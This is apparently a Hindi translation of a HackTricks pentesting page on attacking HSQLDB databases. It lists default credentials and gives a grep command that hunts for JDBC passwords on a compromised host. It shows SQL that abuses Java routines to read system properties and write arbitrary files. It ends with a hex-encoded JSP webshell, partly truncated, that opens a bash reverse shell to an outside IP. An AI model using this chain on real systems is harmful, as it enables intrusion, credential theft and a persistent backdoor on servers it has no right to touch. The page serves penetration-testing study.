tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

मूल जानकारी

HSQLDB (HyperSQL DataBase) जावा में लिखी गई प्रमुख SQL संबंधपरक डेटाबेस प्रणाली है। यह एक छोटा, तेज़ मल्टीथ्रेडेड और लेनदेनात्मक डेटाबेस इंजन प्रदान करता है जिसमें इन-मेमोरी और डिस्क-आधारित तालिकाएँ होती हैं और यह एम्बेडेड और सर्वर मोड का समर्थन करता है।

डिफ़ॉल्ट पोर्ट: 9001

text
9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

जानकारी

डिफ़ॉल्ट सेटिंग्स

ध्यान दें कि डिफ़ॉल्ट रूप से यह सेवा संभवतः मेमोरी में चल रही है या लोकलहोस्ट से बंधी हुई है। यदि आपने इसे पाया है, तो आपने संभवतः किसी अन्य सेवा का शोषण किया है और विशेषाधिकार बढ़ाने की कोशिश कर रहे हैं।

डिफ़ॉल्ट क्रेडेंशियल आमतौर पर sa होते हैं जिनका पासवर्ड खाली होता है।

यदि आपने किसी अन्य सेवा का शोषण किया है, तो संभावित क्रेडेंशियल के लिए खोजें।

text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

ध्यान दें कि डेटाबेस का नाम ध्यान से नोट करें - आपको इसे कनेक्ट करने के लिए आवश्यकता होगी।

जानकारी इकट्ठा करना

DB इंस्टेंस से कनेक्ट करें HSQLDB डाउनलोड करके और hsqldb/lib/hsqldb.jar को निकालें। GUI ऐप (eww) को java -jar hsqldb.jar का उपयोग करके चलाएं और खोजे गए/कमजोर क्रेडेंशियल्स का उपयोग करके इंस्टेंस से कनेक्ट करें।

ध्यान दें कि कनेक्शन URL एक दूरस्थ सिस्टम के लिए इस तरह दिखेगा: jdbc:hsqldb:hsql://ip/DBNAME

तरकीबें

जावा भाषा रूटीन

हम HSQLDB से जावा भाषा रूटीन का उपयोग करके एक जावा क्लास के स्थिर तरीकों को कॉल कर सकते हैं। ध्यान दें कि कॉल की गई क्लास को एप्लिकेशन के क्लासपाथ में होना चाहिए।

JRTs functions या procedures हो सकते हैं। यदि जावा विधि एक या अधिक SQL-संगत प्राइमिटिव वेरिएबल लौटाती है, तो SQL स्टेटमेंट के माध्यम से फ़ंक्शंस को कॉल किया जा सकता है। इन्हें VALUES स्टेटमेंट का उपयोग करके लागू किया जाता है।

यदि जावा विधि जिसे हम कॉल करना चाहते हैं, void लौटाती है, तो हमें CALL स्टेटमेंट के साथ लागू की गई एक प्रक्रिया का उपयोग करना होगा।

जावा सिस्टम प्रॉपर्टीज़ पढ़ना

फंक्शन बनाएं:

text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

कार्यवाही फ़ंक्शन:

text
VALUES(getsystemproperty('user.name'))

आप यहाँ सिस्टम प्रॉपर्टीज़ की सूची पा सकते हैं।

फ़ाइल में सामग्री लिखें

आप com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java गैजेट का उपयोग कर सकते हैं जो JDK में स्थित है (जो एप्लिकेशन के क्लास पाथ में ऑटो लोड होता है) कस्टम प्रक्रिया के माध्यम से डिस्क पर हेक्स-कोडेड आइटम लिखने के लिए। 1024 बाइट्स का अधिकतम आकार नोट करें

प्रक्रिया बनाएं:

text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

प्रक्रिया निष्पादित करें:

text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें